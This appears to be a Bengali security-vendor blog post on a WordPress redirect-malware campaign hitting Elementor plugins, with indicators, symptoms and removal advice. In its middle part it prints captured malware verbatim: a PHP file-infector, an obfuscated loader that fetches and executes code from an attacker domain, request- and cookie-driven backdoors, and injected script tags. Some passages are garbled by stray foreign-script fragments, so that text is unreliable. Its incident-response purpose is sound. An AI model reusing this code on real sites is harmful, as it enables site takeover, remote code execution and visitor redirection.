WordPress থিম ও প্লাগইনের ভালনারেবিলিটি টার্গেট করে আক্রমণ গত কয়েক মাসে আরও তীব্র হয়েছে। WordPress প্লাগইন Elementor Pro, The Ultimate Addons of Elementor & Astra Theme-এ চলমান আক্রমণ ক্যাম্পেইনটি রিডাইরেকশন হ্যাক ক্যাম্পেইন আসার সাথে একটি নতুন মোড় নিচ্ছে, যা ইউজারদের প্রশ্নজনক ওয়েবসাইটগুলোর দিকে রিডাইরেক্ট করছে যেন:
- digestcolect [.] com,
- js[.]donatelloflowfirstly.ga,
- track[.]developfirstline[.]com/t.js?s=5,
- deliverynotforme[.]best,
- 0.beerockstars[.]ga/?p=me3gmnbugm5gi3bpgq3tknq&sub2=mtrolley83,
- 0.directedmyfounds[.]ga/?p=gi3tazrwga5gi3bpgizdgmq&sub2=mstimens3,
- well.linetoadsactive[.]com/m.js?n=nb5,
- 0.realhelpcompany[.]ga,
- fast.helpmart[.]ga/m[.]js?w=085,
- dock.lovegreenpencils[.]ga/m.js?n=nb5,
- cht.secondaryinformtrand[.]com/m.js?n=nb5,
- main.travelfornamewalking[.]ga/,
- irc.lovegreenpencils[.]ga/, ইত্যাদি।

Elementor এবং Ultimate Addons for Elementor উভয়ই এই সিকিউরিটি সমস্যাগুলো প্যাচ করার জন্য আপডেট ইস্যু করেছে, তাই যদি আপডেট না করা হয় তবে নিচের ভার্সনগুলিতে আপডেট করুন:
- Elementor Pro: 2.9.4
- Ultimate Addons for Elementor: 1.24.2
সম্পর্কিত হ্যাক – আমরা WordPress ওয়েবসাইটগুলোক track. developfirstline[.com]/t.js?s=5′ type=’text/javascript রিডাইরেক্ট হওয়াও দেখেছি
আমরা যা জানি…
প্রভাবিত ওয়েবসাইটগুলোতে দেখা যাওয়া একটি সাধারণ লক্ষণ হলো – রিডাইরেকশন।
সেটাও সত্যি, আরও কিছু লক্ষণ আছে যা আক্রমণের ইঙ্গিত দেয়:
- ওয়েবসাইট রুট ডিরেক্টরিতে গিবারিশ (অর্থহীন) ফাইল যোগ হয়েছে
- WordPress অ্যাডমিন এরিয়ায় অননুমোদিত অ্যাডমিন ইউজার যোগ হয়েছে
- /wp-content/uploads/elementor/custom-icons/ এ অজানা ফাইল ও ফোল্ডার
- ওয়েবসাইট রুটে অজানা ফাইল যেমন
wp-xmlrpc.phpwp-cl-plugin.php - ফাইল সিস্টেমে হাজার হাজার অজানা ম্যালিশাস JavaScript ও PHP ফাইল যোগ হয়েছে

ম্যালিশাস 'tap.digestcolect.com/r.php?id=0 spam/' ওয়েবসাইট রিডাইরেকশন কোড কেমন দেখয়?

- নিচের কোডটি 'hjghjerg' নামের একটি ফাইলে পাওয়া গেল:
<?php $lastRunLog = "./debugs.log"; if (file_exists($lastRunLog)) { $lastRun = file_get_contents($lastRunLog); if (time() - $lastRun >= 6400) { search_file($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../","index"); search_file_js($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../",".js"); file_put_contents($lastRunLog, time()); } } else { search_file($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../","index"); search_file_js($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../",".js"); file_put_contents( './debugs.log', time()); } function search_file($dir,$file_to_search){ $files = @scandir($dir); if($files == false) { $dir = substr($dir, 0, -3); if (strpos($dir, '../') !== false) { @search_file( $dir,"index"); return; } if($dir == $_SERVER['DOCUMENT_ROOT']."/") { @search_file( $dir,"index"); return; } } ... function search_file_js($dir,$file_to_search){ $files = @scandir($dir); if($files == false) { $dir = substr($dir, 0, -3); if (strpos($dir, '../') !== false) { @search_file_js( $dir,".js"); return; } if($dir == $_SERVER['DOCUMENT_ROOT']."/") { @search_file_js( $dir,".js"); return; } } foreach($files as $key => $value){ $path = realpath($dir.DIRECTORY_SEPARATOR.$value); if(!is_dir($path)) { if (strpos($value,$file_to_search) !== false && (strpos($value,".js") !== false)) { make_it_js($path); } }else if($value != "." && $value != "..") { search_file_js($path, $file_to_search); } } } function make_it_js($f){ $g = file_get_contents($f); if (strpos($g, 'var') !== false) { $g = file_get_contents($f); if (strpos($g, 'mndfhghjf') !== false) { } else { $l2 = ""; $g = file_get_contents($f); $g = $l2.$g; @system('chmod 777 '.$f); @file_put_contents($f,$g); $g = file_get_contents($f); if (strpos($g, 'mndfhghjf') !== false) { } } } } function make_it($f){ $g = file_get_contents($f); if (strpos($g, 'trackstatisticsss') !== false) { } else { $l2 = ""; $g = $l2.$g; @system('chmod 777 '.$f); @file_put_contents($f,$g); $g = file_get_contents($f); if (strpos($g, 'trackstatisticsss') !== false) { } } }
- এই কোডের টুকরো
header.phpফাইলের ভিতরে পাওয়া গেল:
<?php $c = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99)."ode"; $d = chr(102).chr(105).chr(108)."e".chr(95)."get".chr(95)."con".chr(116).chr(101).chr(110).chr(116).chr(115); $b = $c($d(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(99).chr(115).chr(115).chr(46).chr(100).chr(105).chr(103).chr(101).chr(115).chr(116).chr(99).chr(111).chr(108).chr(101).chr(99).chr(116).chr(46).chr(99).chr(111).chr(109).chr(47).chr(109).chr(46).chr(116).chr(120).chr(116))); $c1 = chr(104); @file_put_contents($c1,chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).$b);@include($c1);@unlink($c1); ?><?php if(isset($_REQUEST[chr(97).chr(115).chr(97).chr(118).chr(115).chr(100).chr(118).chr(100).chr(115)]) && md5($_REQUEST[chr(108).chr(103).chr(107).chr(102).chr(103).chr(104).chr(100).chr(102).chr(104)]) == chr(101).chr(57).chr(55).chr(56).chr(55).chr(97).chr(100).chr(99).chr(53).chr(50).chr(55).chr(49).chr(99).chr(98).chr(48).chr(102).chr(55).chr(54).chr(53).chr(50).chr(57).chr(52).chr(53).chr(48).chr(51).chr(100). .. chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115);$b1 = chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$b2 = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).$b1; $z1 = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32); $z2 = $z1.$b2($_REQUEST[chr(100).chr(49)]); $z3 = $b2($_REQUEST[chr(100).chr(49)]); @$n3($a,$z2); @include($a);@unlink($a); $a = chr(47).chr(116).chr(109).chr(112).chr(47).$a; @$n3($a,$z2); @include($a);@unlink($a);die(); } ?><?php if(isset($_GET[5]) && md5($_GET[5]) == "37147ec1ab66861d6e2ef8f672cb2c0b") {function _1896550334($i){$a=Array("jweyc","aeskoly","owhggiku","callbrhy","H*","");return $a[$i];} function l__0($_0){return isset($_COOKIE[$_0])?$_COOKIE[$_0]:@$_POST[$_0];if(3404<mt_rand(443,2956))session_get_cookie_params($_COOKIE,$_0,$_POST,$_0);}$_1=l__0(_1896550334(0)) .l__0(_1896550334(1)) .l__0(_1896550334(2)) .l__0(_1896550334(3));if(!empty($_1)){$_1=str_rot13(@pack(_1896550334(4),strrev($_1)));if(isset($_1)){$_2=create_function(_1896550334(5),$_1);$_2();exit();}}else{echo base64_decode("bG9jYWwtZXJyb3Itbm90LWZvdW5k");}die();} ?><script src='https://css.digestcolect.com/g.js?v=1.0.0' type='text/javascript'></script>?><script src='https://css.digestcolect.com/g.js?v=1.0.0' type='text/javascript'></script>
- কিছু কোর থিম ফাইলে এই কোডটি পাওয়া গেল:
<script type='text/javascript' src='https://js.digestcolect.com/g.js?v=18'></script><script type='text/javascript' src='https://js.digestcolect.com/g.js?v=18'></script>

Digestcolect [.] com রিডাইরেকশন ফিক্স করা
আপনার ওয়েবসাইট যদি রিডাইরেক্ট করে বা হ্যাকের অন্যান্য লক্ষণ দেখায়, তবে আপনি নিচের কাজগুলো করে আপনার ইনসিডেন্ট রেসপন্স দ্রুত করতে পারেন:
- হ্যাকারদের প্রিয় ফাইলগুলো চেক করে শুরু করুন যেন functions.php, wp-config.php & index.php
- সার্ভারের WordPress কোর ফাইলগুলোর সাথে তুলনা করুন যেন হ্যাকাররা কোর ফাইল ইনফেক্ট করেছে কিনা
- অনলাইন ম্যালওয়্যার স্ক্যানার দিয়ে আপনার ওয়েবসাইট স্ক্যান করুন।
- ডাটাবেসে অপরিচিত অ্যাডমিন এবং ইউজার চেক করুন
- রুট ডিরেক্টরিতে গিবারিশ ফাইল চেক করুন
আমাদের WordPress রিডাইরেকশন রিমUভাল গাইড ফলো করুন আরওUITable ম্যালওয়্যার রিমুভালের জন্য বা এই ধাপে ধাপে টিউটোরিয়াল ফলো করুন।
যদি রিডাইরেকশন এখনো থাকে, তবে সম্ভব হ্যাকাররা আপনার ওয়েবসাইটে ব্যাকডোরও ইনজেক্ট করেছে। এটি সাধারণত গভীর ম্যালওয়্যার স্ক্যান ও কোড রিভিউ দিয়ে ওয়েবসাইট পরিষ্কার করা প্রয়োজন।
এছাড়া দেখুন: ধাপে ধাপে WordPress ম্যালওয়্যার রিমুভাল গাইড
সংক্রমিত নন? আপনার ওয়েবসাইট সুরক্ষিত করুন
সৌভাগ্যবশত, আপনি এক্সপ্লয়েট থেকে বাঁচতে পেরেছেন। কিন্তু সুযোগে খেলবেন না। এখনই আপনার ওয়েবসাইট সুরক্ষিত করা ভালো। Astra Security-এর মতো একটি প্রিমিয়াম ফায়ারওয়াল ২৪x৭ মনিটরিং ও JS ইনজেকশন, SQLi, CSRF, XSS, Bad bots, RFI, LFI, এবং সোতো অন্যান্য আক্রমণ থেকে রক্ষা করে আপনার ওয়েবসাইট সুরক্ষিত রাখতে দূর तक যাবে।

Malware Scanner, Country Blocking, IP Blocking-এর মতো অতিরিক্ত সিকিউরিটি টুলের đôngলোর সাথে Astra security ব্যবসা এবং ব্লগ দুটির জন্যই সহজ।